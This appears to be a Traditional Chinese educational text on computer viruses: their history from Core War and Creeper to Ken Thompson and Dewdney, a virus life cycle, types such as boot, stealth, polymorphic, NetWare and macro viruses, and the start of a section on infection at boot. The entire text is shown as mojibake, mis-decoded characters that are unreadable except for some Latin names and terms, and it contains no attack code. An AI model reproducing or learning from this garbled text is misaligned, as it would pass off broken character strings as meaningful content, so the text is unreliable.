¤º®e¥Ø¿ý¡J
1.1 ¯f¬rªº°_·½
¹q¸£¯f¬r¨Ã«D¬O³Ìªñ¤~¥X²{ªº·s²£ª« ¡M¨Æ¹ê¤W¡M¦¦b¤@¤E¥|¤E¦~ ¡M¶ZÂ÷²Ä¤@³¡°Ó¥Î¹q¸£ªº¥X²{¤´¦³¦n´X¦~®É ¡M¹q¸£ªº¥ýÅXªÌ¬ù¿«¡DS¯Ã°Ò ( John Von Neumann )¦b¥L©Ò´£¥Xªº¤@½g½×¤å¡m½ÆÂø¦Û°Ê¸Ë¸mªº²z½×¤Î²Õ´ªº¶i¦æ¡nùØ,§Y¤w§â¯f¬rµ{¦¡ªºÂŹϤİǥX¨Ó ¡M·í®É ¡Mµ´¤j³¡¥÷ªº¹q¸£±M®a³£µLªk·Q¹³³oºØ·|¦Û§ÚÁc´Óªºµ{¦¡¬O¥i¯àªº ¡M¥i¬O¤Ö¼Æ´XÓ¬ì¾Ç®aÀqÀq¦a¬ã¨sS¯Ã°Òªº©Ò´£¥Xªº·§©À ¡C
ª½¨ì¤Q¦~¤§«á ¡M¦b¬ü°ê¹q¸Ü¹q³ø¤½¥q (AT&T) ªº¨©º¸ (Bell)¹êÅç«Ç¤¤ ¡M³o¨Ç·§©À¦b¤@ºØ«Ü©_©Çªº¹q¤l¹CÀ¸¤¤¦¨§Î¤F¡M³oºØ¹q¤l¹CÀ¸¥s°µ¡mºÏ¿¶¤j¾Ô¡n (core war)¡CºÏ¿¶¤j¾Ô¬O·í®É¨©º¸¹êÅç«Ç¤¤¤TÓ¦~»´µ{¦¡¤Hû¦b¤u¾l·Q¥X¨Óªº ¡M¥L̬O¹D®æ©Ô´µ¡D³ÁÄ£µÜ (H, Douglas McIlroy)¡Mºû¯S¡Dºû¯Á´µ°ò (Victor Vysottsky)¥H¤Îù§B¡D²ö¨½´µ (Robert T. Morris)¡M·í®É¤T¤H¦~¬ö³£¥u¦³¤G¤Q¦h·³¡C
ºÏ¿¶¤j¾Ôªºª±ªk¦p¤U¡J¨â¤è¦U¼g¤@®Mµ{¦¡¡M¿é¤J¦P¤@³¡¹q¸£¤¤¡M³o¨â®Mµ{¦¡¦b¹q¸£ªº°O¾Ð¨t²Î¤º¤¬¬Û°l±þ¡M¦³®É¥¦Ì·|©ñ¤U¤@¨ÇÃö¥d¡M¦³®É·|°±¤U¨Óײz(«·s¼g)³Q¹ï¤è¯}Ãaªº´X¦æ«ü¥O¡M·í¥¦³Q§x®É¡M¤]¥i¥H§â¦Û¤v½Æ»s¤@¦¸¡M°kÂ÷ÀI¹Ò¡M¦]¬°¥¦Ì³£¦b¹q¸£ªº°O¾ÐºÏ¿¶¤¤¹C¨«¡M¦]¦¹±o¨ì¤FºÏ¿¶¤j¾Ô¤§¦W¡C³oÓ¹CÀ¸ªº¯SÂI¡M¦b©óÂù¤èªºµ{¦¡¶i¤J¹q¸£¤§«á¡Mª±¹CÀ¸ªº¤H¥u¯à¬ÝµÛ¿Ã¹õ¤WÅã¥Üªº¾Ôªp¡M¦Ó¤£¯à°µ¥ô¦ó§ó§ï¡M¤@ª½¨ì¬Y¤@¤èªºµ{¦¡³Q¥t¤@¤èªºµ{¦¡§¹¥þ®ø·À¬°¤î¡C
ºÏ¿¶¤j¾Ô¬OÓÅ¢²Îªº¦WºÙ¡M¨Æ¹ê¤WÁÙ¥i²Ó¤À¦¨¦n´XºØ¡M³ÁÄ£µÜ©Ò¼gªºµ{¦¡¥s¡m¹Fº¸¤å¡n¡M³o¥]§t¤F¡uª«Äv¤Ñ¾Ü¡M¾AªÌ¥Í¦s¡vªº·N«ä¡C¥¦ªº¹CÀ¸³W«h¸ò¥H¤W©Ò´yzªº³Ì±µªñ¡MÂù¤è¥H²Õ¦X»y¨¥¦U¼g¤@®Mµ{¦¡¡M¥s¦³¾÷Åé(organism)¡M³o¨âÓ¦³¾÷Åé¦b¹q¸£¸Ìª§°«¤£¥ð¡Mª½¨ì¤@¤è§â¥t¤@¤è±þ±¼¦Ó¨ú¥N¤§¡M«Kºâ¤À¥X³Ót¡C¦b¤ñÁÉ®É Morris ¸g±`¦K¤ß¿W¨ã¡MÀ»±Ñ¹ï¤â¡C
¥t¥~¦³Ó¥s¡mª¦¦æªÌ¡nªºµ{¦¡(Creeper)¡M¨C¤@¦¸§â¥¦Åª¥X®É¡M¥¦«K¦Û¤v½Æ»s¤@Ó°Æ¥»¡C¦¹¥~¡M¥¦¤]·|±q¤@³¡¹q¸£¡uª¦¡v¨ì¥t¤@³¡¦³³s½uªº¹q¸£¡C«Ü§Ö¦a¹q¸£¤¤ì¦³¸ê®Æ«K³Q³o¨Çª¦¦æªÌÀ½±¼¤F¡Cª¦¦æªÌ°ß¤@ªº¥Í¦s¥Øªº¬OÁc´Þ¡C¬°¤F¹ï¥I¡mª¦¦æªÌ¡n¡M¦³¤H«K¼g¥X¤F¡m¦¬³ÎªÌ¡n(Reaper)¡C¥¦ªº°ß¤@¥Í¦s¥Øªº«K¬O§ä¨ì¡mª¦¦æªÌ¡n¡M§â¥¦Ì·´·À±¼¡C·í©Ò¦³¡mª¦¦æªÌ¡n³£³Q¦¬³Î±¼¤§«á¡M¡m¦¬³ÎªÌ¡n«K°õ¦æµ{¦¡¤¤³Ì«á¤@¶µ«ü¥O¡J·´·À¦Û¤v¡M±q¹q¸£¤¤®ø¥¢¡C
¡m¨Ü¾§¡n(Dwarf)¨Ã¨S¦³¡m¹Fº¸¤å¡nµ¥µ{¦¡Áo©ú¡M«o¬OÓ·¥ºÝ¦MÀI¤Hª«¡C¥¦¦b°O¾ÐÅ餤ÁÚ¶i¡M¨C¨ì²Ä¤Ó¦ì§}(address) «K§â¨º¸Ì©ÒÀx¦sªºªF¦èÅܬ°¹s¡M³o·|¨Ï±o쥻ªºµ{¦¡°±Â\¡C
¦b¨ºÓ¦~¥N¸Ì¡M¹q¸£³£¨S¦³³s½u¡M¦Ó¬O¤¬¬Û¿W¥ßªº¡M¦pªG¦³¬Y³¡¹q¸£¨ü¨ì¡u·P¬V¡v¡M¥¢¥h±±¨î¡M¤u§@¤Hû¥u»Ý§â¥¦Ãö±¼«K¥i¡C¦ý¬O·í¹q¸£³s½u³vº¥¦¨¬°ªÀ·|µ²ºcªº¤@³¡¥÷¤§«á¡M¤@өΦۧڽƻsªº¯f¬rµ{¦¡«K«Ü¥i¯à±a¨ÓµL½aªºº×®`¤F¡C¦]¦¹ªø¤[¥H¨Ó¡MÀ´±oª±¡mºÏ¿¶¤j¾Ô¡n¹CÀ¸ªº¹q¸£¤u§@ªÌ³£ÄY¦u¤@¶µ¤£¦¨¤åªº³W©w¡J¤£¹ï´¶Ã¹¤j²³¤½¶}³o¨Ç¾Ôª§µ{¦¡ªº¤º®e¡C
¦ý¦b¤@¤E¤K¤T¦~¡M³o¶µ³W©w³Q¥´¯}¤F¡C¬ì®¦¡D´ö´¶»¹(Ken Thompson)¬O·í¦~¤@¶µ³Ç¥X¹q¸£¼úªº±o¼ú¤H¡C¦b¹{¼ú¨å§¤W¡M¥L§@¤F¤@ÓºtÁ¿¡M¤£¦ý¤½¶}¦aÃÒ¹ê¤F¹q¸£¯f¬rªº¦s¦b¡M¦Ó¥BÁÙ§i¶D©Ò¦³Å¥²³«ç¼Ë¥h¼g¦Û¤vªº¯f¬rµ{¦¡¡C¥Lªº¦P¦æ¥þ³£À~Ãa¤F¡MµM¦Ó³oÓ¯µ±K¤w¸g¬y¶Ç¥X¥h¤F¡C¤@¤E¤K¥|¦~¡M±¡ªp·U½ÆÂø¤F¡C³o¤@¦~¡M¡m¬ì¾Ç¬ü°ê¤H¡n¤ë¥Z(Scientific American)ªº±MÄæ§@®a§ù¯S¥§(A. K. Dewdney)¦b¤¤ë¸¹¼g¤F²Ä¤@½g°Q½×¡mºÏ¿¶¤j¾Ô¡nªº¤å³¹¡M¨Ã¥B¥un±H¤W¨â¶ô¿ú¬üª÷¡M¥ô¦óŪªÌ³£¥i¥H¦¬¨ì¥L©Ò¼gªº¦³Ãö¼gµ{¦¡ªººõ»â¡M¦b¦Û¤v®a¤¤ªº¹q¸£¤¤¶}ÅP¾Ô³õ¡C
¦b¤@¤E¤K¤¦~¤T¤ë¥÷ªº¡m¬ì¾Ç¬ü°ê¤H¡n¸Ì¡M§ù¯S¥§¦A¦¸°Q½×¡mºÏ¿¶¤j¾Ô¡n©M¡u¯f¬r¡v¡C¦b¤å³¹ªº¶}ÀY¥L»¡¡J¡u·í¥h¦~¤¤ë¦³Ãö¡mºÏ¿¶¤j¾Ô¡nªº¤å³¹¦L¥X¨Ó®É¡M§Ú¨Ã¨S¦³·Q¹L§Ú©Ò½Í½×ªº¬O¨º»òÄY«ªºÃD¥Ø¡C¡v¤å¤¤¨Ã¥B²Ä¤@¦¸´£¨ì¡u¯f¬r¡v³oÓ¦WºÙ¡C¥L´£¨ì»¡¡M¸q¤j§QªºÃ¹«k¦R¡D·²¾|«Ò(Roberto Cerruti)©M°¨°ª¡D»ò¾|ÅU«Ò(Marco Morocutti)µo©ú¤F¤@ºØ¯}Ãa³nÅ骺¤èªk¡C¥LÌ·Q¥Î¯f¬r¡M¨Ó¨Ï±oÄ«ªG¤G¸¹¹q¸£¨ü·P¬V¡C·²¾|«Ò¼g¤F¤@«Ê«Hµ¹§ù¯S¥§¡M«H¤º»¡¡J¡u°¨°ª·Q¼g¤@Ó¹³¡y¯f¬r¡z¤@¼Ëªºµ{¦¡¡M¥i¥H±q¤@³¡Ä«ªG¹q¸£¶Ç¬V¨ì¥t¤@³¡Ä«ªG¹q¸£¡M¨Ï¨ä¨ü¨ì·P¬V¡C¥i¬O§Ų́Sªk³o¼Ë°µ¡Mª½¨ì§Ú·Q¨ì¡M³o¯f¬rn¥ý¨ÏºÏºÐ¨ü¨ì·P¬V¡M¦Ó¹q¸£¥u¬O´C¤¶¡C³o¼Ë¡M¯f¬r´N¥i¥H±q¤@¤ùºÏºÐ¶Ç¬V¨ì¥t¤@¤ùºÏºÐ¤F¡C¡v
©ó¬O¯f¬r¥ÆÀݪº¦~¥NÀHµÛ¹q¸£®É¥Nªº¨ÓÁ{¶}©lµo´¥ú¤j¤F¡C¤×¨ä¬O¦bÄ«ªG¹q¸£¡BIBM PC¬Û®eªºÓ¤H¹q¸£¦¨¬°¥D¬y¤§«á¡M¤@¯ë¤H§ó¥i¥H¤£¶O§j¦Ç¤§¤O´N¨ú±o¹q¸£µ{¦¡¼g§@ªº¤u¨ã¡M¦A¥[¤W¦n©_¤ßªºÅX¨Ï¡M¯f¬rµ{¦¡ªº¥X²{µS¦p«B«á¬Kµ«¡C
2.1 ¯f¬r²¤¶
¹q¸£¯f¬r¬O¤@ºØ¹ï¹q¸£§@·~¨t²Îªº¦w¥þ³y¦¨«Â¯Ù©Î¯}Ãaªºµ{¦¡¡M¥¦·|Åܧó즳¨t²Îµ{¦¡©Î¸ê®Æ¡M²£¥Í·l®`¡C¨Ã¥B¡M¯f¬r·|¦bµ{¦¡¤§¶¡¡B¨t²Î¤§¶¡¶Ç¼½¡C¥¦¬O¥Ñ¤@³s¦êªº«ü¥Oºc¦¨ªº¡M·í¥¦³Q°õ¦æªº®ÉÔ¡M´N±N¥¦¦Û¤v´²¼½¨ì¨ä¥L¥¼·P¬Vªºµ{¦¡©ÎÀɮפ§¤¤¡C
¨å«¬ªº¹q¸£¯f¬r¦³¨â¶µ¥\¯à¡J²Ä¤@¡M¥¦·|¦Û¦æÁcl¡M±N¦Û¤v«þ¨©¨ì¨ä¥LªºÀɮשε{¦¡¤¤¡C²Ä¤G¡M(¥i¯à¬O¦b¯S§Oªº°õ¦æ¦¸¼Æ«á¡M©Î¬O¦b¯S©wªº¤é´Á¡M)¥¦¶}©l°õ¦æì¯f¬r§@ªÌ©Ò¼gªº¨ä¥L«ü¥O¡M¦Ü©ó·|°µþ¨Ç¨Æ¡MºÝ¬Ý§@ªÌ¥»¨ªº°Ê¾÷¡M¦³¨Ç¬OÅã¥Ü¬YÓ°T®§¡M¦³¨Ç¬O±þ±¼¬Y¨ÇÀɮסM¦³¨Ç¬O§ïÅܹq¸£ì¥ýÀx¦sªº¸ê®Æ¡M¬Æ¦Ü®æ¦¡¤ÆµwºÐ¡C¤]¦³¥i¯à¥¦®Ú¥»¨S¦³¥ô¦óªº¯}Ãa«ü¥O¡M¦Ó¬O§l¦¬ºÏºÐªºªÅ¶¡¡M¥´Â_ºô¸ôªº³s±µµ¥µ¥¡C
°£¤F¯f¬r¤§¥~¡M¤]¦³´XºØÃþ¦ü¯f¬r¡M¦ý«oºÙ¤£¤W¯f¬rªºµ{¦¡¡JįÂÎ(worms)¡B²Óµß(bacteria)¡B¨ß¤l(rabbits)µ¥µ¥¡C»P¯f¬r¬Û¦Pªº¬O¡M¥¦Ì³£¨ã¦³¦Û§Ú½Æ»sªº¥à¡C¦Ó¤£¦Pªº¬O¡Mworm¬O¤@ºØµ{¦¡¡M¥¦³z¹Lºô¸ô´²¼½¦Û¤vªº½Æ»s«~¡MÂǵÛÅýºô¸ô¨t²Î¶W¹Lt¸ü¨Ï¨ä¤¤Â_¡Cbacteria «h¬O·í¥¦³Q°õ¦æªº®ÉÔ¡M±N¦Û¤vªº½Æ»s«~´²¼½µ¹¨t²Î©Î¬O¨ä¥Lªº¨Ï¥ÎªÌ¡Crabbit¥Dn¬O³Q³]p¥Î¨Ó®ø¯Ó¨t²Î¸ê·½ªº¡M¥¦¨Ã¤£¬O·P¬V¨ä¥Lªºµ{¦¡¡M¦Ó¬OµL¨îªº½Æ»s¦Û¤v¡C
2.2 ¯f¬rªº¥Í©R¶g´Á
¹q¸£¯f¬r´N¦n¹³²Óµßªº¥Íªø¤@¯ë¡M©Ò¥H§Ṳ́~±N¥¦ºÙ°µ¡u¯f¬r¡v¡C¯f¬rªº¦¨ªø¡M¦³¤U¦C´XӥͩR¶g´Á¡J
A. ³Ð³y´Á(Creation)¡J
·í¦³¤@¨Ç¤Hªá¤F¦n´XÓ¬P´Á§V¤O¦a¬ã¨s¥X¤@¨Ç¥i¥H¼s¬°´²§Gªºµ{¦¡½X¡M¤@°¦¯f¬r´N³o¼Ë½Ï¥Í¤F¡C·íµM¡M¥L̬O¤£·|³o¼Ë´Nºâ¤Fªº¡C¥L̳q±`³£·|³]p¤@¨Ç¯}Ãaªº¦æ¬°¡C
B. ¥¥¨|´Á(Gestation):
³o¨Ç¯}ÃaªÌ±N¤¤¬rªºÀɮשñ¦Ü¤@Ó®e©ö¦V¥~¶Ç¼½ªº¦a¤è¡C¦pBBS©Î¬OInternetªºFTP¯¸¡M¬Æ¦Ü¬O¤½¥q¡B¾Ç®ÕªºÀÉ®×®wµ¥µ¥¡C¥Ñ©ó³\¦h¤H·|¦b³o¨Ç¦a¤è±a¦^³\¦hªºÀɮסM¦]¦¹¯f¬r¤]´N¥i¥H§ó§Ö³t¦a¶Ç¼½¥X¥h¡C
C. ¼ç¥ñ·P¬V´Á(Propagation)¡G
¦b¼ç¥ñ´Á¤¤¡M¯f¬r·|¤£Â_¦aÁc´Þ»P¶Ç¬V¡C¤@Ó§¹¬üªº¯f¬r¾Ö¦³«Üªøªº¼ç¥ñ´Á¡M¦p¦¹¤@¨Ó¯f¬r´N§ó¦hªº®É¶¡¥h¶Ç¬V¨ì§ó¦hªº¦a¤è¡B§ó¦hªº¨Ï¥ÎªÌ¡B¤@¥¹¶}©lµo¯f¡M±N·|³y¦¨§ó¤jªº¶Ë®`¡C¨Ò¦p¥@¬Éª¾¦Wªº¡u¦Ì¶}®Ô°òù¯f¬r¡v¡M¦b¨C¦~¤T¤ë¤»¤éµo§@«e¡M¦³¾ã¾ã¤@¦~ªº·P¬V´Á¡C
D. µo¯f´Á(Activation)¡G
·í¤@¤Áªº±ø¥ó§Î¦¨¤§«á¡M¯f¬r©ó¬O´N¶}©l¤F¯}Ãa°Ê§@¡C¦³¨Ç¯f¬r·|¦b¬Y¨Ç¯S©wªº¤é´Áµo¯f¡M¦³¨Ç«h¬O¦Û¤v¦³Ó˼Æp®É¾¹¨Ó¨M©wµo¯fªº®É¶¡¡C
E. µo²{´Á(Discovery)¡G
ÁöµM¤j³¡¥÷ªº¯f¬r³Ì«á³£·|³Qµo²{¡A¦ý¤´µM¦³¨Ç¯f¬r¦bµo¯f¤§«á¡M¨Ã¨S¦³³Qµo²{¥X¨Ó¡C¨ä¹ê¡M¤@¯ë¤HÌ¥unª`·N¨ì¥¦¡M³q±`³£·|·Q¿ìªk°µ¦n¹jÂ÷ªº°Ê§@¡C¦b¬ü°ê¦³¤@Ó¡u°ê®a¹q¸£¦w¥þ¨ó·|¡v(National Computer Security Association, NCSA)¤£Â_¦a¦¬¶°¯f¬rªº¸ê®Æ¡M¨Ã¥B±N³o¨Ç¤å¥ó¶Ç°eµ¹¥þ¥@¬Éªº¨¾¬r³nÅé¬ãµo³æ¦ì¡C¹ï©ó¤j¦h¼Æªºª¬ªp¨Ó»¡¡M·í¤@Ó¯f¬r¹ï¥þ²y¹q¸£¨Ï¥ÎªÌ²£¥Í«¤j«Â¯Ù«eªº¦Ü¤Ö¤@¦~¤§¤º¡M´N·|³Q³o¨Ç°T®§»â³Sµo²{¡C
F. ¦P¤Æ´Á(Assimilation)¡G
¶i¤Jµo²{´Á¤§«á¡M¨¾¬r³nÅé°Ó·s¼W¤F·sªº¯f¬r½X¨Ï±o¥L̪º²£«~¥i¥H°»´ú¨ì³o¨Ç¯f¬r¡C³oÓ¹Lµ{³q±`nªá¤W¥b¦~ªº®É¶¡¡Mµø³nÅé¬ãµo¼t°Óªº¯à¤O©M¯f¬rªº½ÆÂø«×¦Ó©w¡C
G. ®Ú°£´Á(Eradication)¡G
¦pªG¦³°÷¦hªº¨¾¬r³nÅé¯à°÷±±¨î³o¨Ç¯f¬r¡M¨Ã¥B¤]¦³°÷¦hªº¨Ï¥ÎªÌ¨Ï¥Î¨¾¬r³nÅé¡M¨º»ò³o¨Ç¯f¬r´N¥i¥H´X¥G§¹¥þ¦a³s®Ú¼³·À¡CÁöµM¨ì²{¦b¬°¤î¡M¨Ã¨S¦³¤H´±«ÅºÙ¬Y¬Y¯f¬r§¹¥þµ´¸ñ¤F¡C¦ý¬O¦³¤@¨Ç¯f¬r«Ü©úÅã¦a³Q§¹¥þ§ã¤î¤F¡M¦p¦´ÁªºDisk Killerµ¥¡C¥¦Ì³£´¿¦³¤@¬q·¥úªº¤é¤l¡M¨Ã¥B¹ï¦h¼Æªº¹q¸£¨Ï¥ÎªÌ³y¦¨«D±`¤jªº«Â¯Ù¡C
2.3 ¯f¬rºØÃþ
A. ¶}¾÷«¬¯f¬r
¶}¾÷«¬¯f¬rªº·P¬V¹ï¶H¬O§@·~¨t²Îªº¶}¾÷°Ï¡M¤]´N¬O©Ò¿×ªºBOOTºÏ°Ï¡C¥¦¬OÂǥѶ}¾÷°Ê§@«I¤J°O¾ÐÅ骺¡M¦pªG¥Î¤F¤w·P¬V¯f¬rªº¶}¾÷¤ù¨Ó¶}¾÷¡M«h¯f¬r±N¥ß§Y·P¬V¨ìµwºÐ¤¤¡C¶}¾÷«¬¯f¬r¤S¥i¤À¬°¡J
µÛ¦Wªº¶}¾÷«¬¯f¬r¡J
B. Àɮ׫¬¯f¬r
Àɮ׫¬¯f¬r¥Dn¬O·P¬V .COM ÀɩάO .EXE ÀÉ¡Cªñ¦~¨Ó¡MÀɮ׫¬¯f¬rªº·P¬V¥Ø¼Ð¤SÂX¤Î¨ì .OVLÀÉ©M.BINÀÉ¡CÀɮ׫¬¯f¬r¤S¦³¤À¡J
¥H¯}ÃaÀɮ׬°¥Øªº¡M³q±`¬O§â¯f¬r¦Û¤v©ñ¶i³Q¶Ç¬VªºÀɮ׸̡C¤S¤À¬°¨âºØ¡J | ||
¶i¤J°O¾ÐÅé«á´N¥ß§Y´M§äÀɮסMµo²{¨S¦³¤¤¬rªºÀÉ®×´N¥ß¨è·P¬V¡C | ||
µ¥«Ý¦³µ{¦¡³Q°õ¦æ¦Ó¶i¤J°O¾ÐÅé®É¡M¤~¶i¦æ·P¬V¡C | ||
§â¦Û¤v´Ó¤J§@·~¨t²Î¤¤¡M·í¦³µ{¦¡¹³§@·~¨t²În¨D¤¤Â_ªA°È®É¡M¥¦´N¡u¶¶«K¡v·P¬V¨ºÓ´£¥Xn¨Dªºµ{¦¡¡C |
µÛ¦WªºÀɮ׫¬¯f¬r¡J
C. ²V¦X«¬¯f¬r
²V¦X«¬¯f¬r¨ã¦³¶}¾÷«¬¯f¬r©MÀɮ׫¬¯f¬rªº¯à¤O¡M¥Dn¬O§Q¥ÎÀÉ®×·P¬V®É¦ø¾÷·P¬V¶}¾÷°Ï¡M¦]¦Ó¨ã¦³Âù«¦æ°Ê¤O¡C¦¹¥~¥¦Ìªº¶Ç¬V¡BÁc´Þ³t«×¤]«ÜÅå¤H¡CµÛ¦Wªº²V¦X«¬¯f¬r¡J
D. Áô§Î¸¾÷«¬¯f¬r
Áô«¬¸¾÷¦¡¯f¬r¤SºÙ§@¤¤Â_ÄdºIªÌ(Interrupt Interceptors)¡C¥¦Âǥѱ±¨îDOSªº¤¤Â_¦V¶q¨ÓÅýDOS¥H¤Î¨¾¬r³nÅé»{¬°©Ò¦³ªºÀɮ׳£¬O°®²bªº¡C¦b¥¿±`ªºª¬ªp¡MÀ³¥Îµ{¦¡µo¥X¤@Ó¤¤Â_n¨D®É¡M³q±`³£·|«Ü¥¿±`¦a³Q¾É¤Þ¨ì¤@Ó¥¿±`ªº¤¤Â_¦V¶qªí(Interrupt Table)¨Ã¥¿½T¦a°õ¦æ¡C¤@¥¹¯f¬rºI¨ú¤F³o¨Ç¤¤Â_n¨D¡M¥¦´N¥i¥H»~¾É³o¨Çµ{¦¡¡M¥h°µ¤@¨Ç¥¦Ì·Qn°µªº¨Æ¡CÁô«¬¸¾÷¦¡¯f¬r¥Ñ©ó¥i¥H¸ú¦b¤¤Â_¦V¶qªí¤¤¡M©Ò¥H¥¦¥i¥H«Ü¦³®Ä²v¦aÂð_¨Ó¡M«ÜÃø³Q°»´ú¨ì¡CµÛ¦WªºÁô§Î¸¾÷«¬¯f¬r¡J
E. ÅÜÅé¯f¬r
ÅÜÅé¤ÞÀº(Mutation Engine)¯f¬rµ{¦¡¨CÁc´Þ¤@¦¸¡M´N·|¥H¤£¦Pªº¯f¬r½X¶Ç¬V¨ì§Oªº¦a¤è¥h¡M¨CÓ¤¤¬rªºÀɮפ¤©Ò§tªº¯f¬r½X³£¤£¤@¼Ë¡M¹ï©ó±½´y©T©w¯f¬r½Xªº¨¾¬r³nÅé¡M«K¬O¤@ºØ«¤jªº¦ÒÅç¡C³oÃþ¯f¬r¥Ø«e¤w¥X²{¦b¼Ú¬w¡M¦pWHALE¯f¬r¨Ìªþ©ó.COMÀɮɡA´X¥GµLªk§ä¨ì¬Û¦Pªº¯f¬r½X¡F¦ÓFLIP¯f¬r«h¥u¦³2 byteªºPattern¥i§ä¡M¬O«D±`¸Þ²§ªº¯f¬r¡CµÛ¦Wªº¦³¡J
F. ºô¸ô¨t²Î¯f¬r
ºô¸ô¬O¯f¬r³Ì·Rªº¶Ç¬V³~®|¡M¦ý¥u¦³¤Ö¼Æ±Mªù°w¹ïºô¸ô®zÂI©Ò³]pªººô¸ô¯S©w¯f¬r¡M¤~¯à¦bNetWare¤U¹B§@¡C³oÃþ«¬ªººô¸ô¯S©w¯f¬r·|¥D°Ê¤J«I¡B·P¬V¨Ã¯}Ãaºô¸ô¦øªA¾¹¤¤ÀɮסM¨ä¤¤³Ì¦³¦Wªº¬°Novell Netwareºô¸ô¨t²Î¤Wªººô¸ô¯S©w¯f¬rGP1(Get Password 1)¡M¥¦·|§Q¥Î·j¶°¨Óªº¨Ï¥ÎªÌ±b¸¹¤Î±K½X¡M¬ð¯}SupervisorªºÅv¡M§ó§ïÀɮצøªA¾¹¤WªºÀÉ®×ÄÝ©Ê¡M¨Ã¶i¦æ·P¬V©M§R°£ªº°Ê§@¡M¦Ó¥B¯f¬r¤§¶¡ÁÙ¯à¥æ´«°T®§¡M©Ò¥H¤@¥¹¯f¬r¦bºô¸ô¤W¬¡ÅD¡M«áªG±N¤£°É³]·Q¡C
G. ¤å¦r¥¨¶°¯f¬r
¥¨¶°¯f¬r¬O¥Ø«e¼öªùªº¸ÜÃD¡M¥¦¥Dn¬O§Q¥Î³nÅ饻¨©Ò´£¨Ñªº¥¨¶°¯à¤O¨Ó³]p¯f¬r¡M©Ò¥H¤Z¬O¨ã¦³¼g¥¨¶°¯à¤Oªº³nÅé³£¦³¥¨¶°¯f¬r¦s¦bªº¥i¯à¡MWord, Excel, Amipro ³£¬ÛÄ~¶Ç¥X¦M®`¡M¦b¥xÆW³Ì¦³¦Wªº¨Ò¤l¥¿¬OTaiwan No.1¡C
©Ò¿×¡u¥¨¶°¡v(Macro)¬O«ü²³¦h«ü¥Oªº¶°¦X¡M¥¨¶°³q±`¥i¥H¤¹³\¨Ï¥ÎªÌ¦Û¦æ³]p¥H«K¯à°÷¤@¦¸°õ¦æ³s¦êªº«ü¥O©Î°Ê§@¡C¥¦ªº·§©À´N«ÜÃþ¦ü¦bDOSÀô¹Ò¤Uªº§å¦¸ÀÉ¡C³q±`¥¨¶°³£¬O¦ñÀHµÛ¥Dµ{¦¡±Ò°Ê®É¤@°_³Q¸ü¤J°O¾ÐÅ餤¡M¥HMicrosoft Word¬°¨Ò¡M·í§Ú̱ҰÊWord¤§«á¡MWord¤º©w·|´À§Ú̸ü¤J¤@ÓNormal.DOTªº½d¥»ÀÉ¥H³]©w¦p¦r«¬¡M¦æ¶Zµ¥µ¥¬ÛÃö¸ê°T¡C³o¤]¥¿¬O¥¨¶°¯f¬r³Ì·R¤U¤âªº¥Ø¼Ð¡C¥un¤@¥÷¤å¥ó¤¤§¨±a¤F¨ã¦³¦Û§Ú½Æ»s¯à¤O©Î¯}Ãaªº¦æ¬°¡M¨Ò¦p¶}±ÒÂÂÀÉ¡M¶}·sÀɮסM¥t¦s·sÀɵ¥°Ê§@¦P®É¡M¬Æ¦Ü³sWord¥un¤@±Ò°Ê¡M³£·|°õ¦æ¨ì³o¨Ç¥¨¶°¡C¦Ó³o¨Ç¤£Ãh¦n·Nªº¥¨¶°´N¬O©Ò¿×ªº¡u¤å¥ó¥¨¶°¯f¬r¡v¡C
¦³¨Çµ{¦¡¼g§@ªº±M®a¤£»{¬°¤å¥ó¯f¬r¬O¯u¥¿ªº¯f¬r¡M¦]¬°¥¦¨Ã«D¿W¥ß¥i°õ¦æªºµ{¦¡¡M¦Ó¬O¤@¨Ç«¶q¯Å¤å®Ñ©Î¸Õºâªí³nÅ骺¡u¤@³s¦ê°õ¦æ¨BÆJ¡v¦Ó¤w¡C©Î³\¥u¯àºâ¬O·o³Jªº°Ê§@¡M¦ý¤´¯à°÷³y¦¨·lÃa¡CµÛ¦Wªº¥¨¶°¯f¬r¡J
G. ¤Ï¨¾¬r¯f¬r
¤Ï¨¾¬r¯f¬r±Mªù§ðÀ»¯S©wªº¨¾¬r³nÅé¡C³oºØ¯f¬r´X¥G«D±`¦a¤Ö¡M¦ý¬O¹ï©ó¤@¨Ç¨¾¬r³nÅé¨Ó»¡¡M¥Ñ©ó¥¦ªº¦s¦b¡M¨Ï±o¾ã¥xì¨Ó¦³°µ¨¾¬r±¹¬Iªº¹q¸£¹y®É¥¢¥h¤F«OÅ@¡M¦]¦¹¯}Ãa¤O¤]¤£¥i©¿µø¡C
3.1 ²`¤J±´°Q¯f¬r¦p¦ó·P¬V
¦b¸Ô²Ó»¡©ú¯f¬r¦p¦ó·P¬V¤§«e¡MÅý§ÚÌ¥ý¨Ó«ä¦Ò¤@¤U¡M·í§ÚÌn°õ¦æ¤@Óµ{¦¡®É©Òn°µªº°Ê§@¡C¦³þ¨Ç§ÚÌ·|¤£¹½¨ä·Ðªº¥hÀˬd©O¡H
¥H¤U§Ú̱N°Q½×³o¨Ç°ÝÃD¡M¨Ã¥B¦b¦³¥i¯à·P¬V¯f¬rªº®É¾÷¥[¤W"(!)"ªº²Å¸¹¡C
A. ¶}±Ò¹q·½®É
·í¹q·½¶}±Ò¡M¦³¤@¬qµ{¦¡¦ì©óROM¡M¥s°µ POST (Power On Self Test)·|¶}©l°õ¦æ¡C¥¦·|Àˬd°O¾ÐÅé¡M¦UºØ¸Ë¸m¡M¶gÃä¡C§¹¦¨¤§«á¡M¥¦·|·j´M³nºÐ¾÷¤¤¬O§_¦³ºÏ¤ù¡M¦pªG¨S¦³¡M´N¹Á¸Õ¥ÎµwºÐ¨Ó±Ò°Ê¡C¦pªG³£µLªk¹B§@¡M¥¦´N°õ¦æ¦bROM¸ÌªºBASIC¤¤Â_¡Cº¥ýŪ¶iRAMªº¬OµwºÐ©Î³nºÐ¤¤ªº¶}¾÷µ{§Ç¡C¦]¬°ROM¬O¥u¨ÑŪ¨úªº¡M©Ò¥H¨ì¥Ø«e¬°¤î§Ú̳£ÁÙ¨S¦³Åý¯f¬r¦³¾÷¥i¶X¡C
B. ¥ÑµwºÐ¶}¾÷
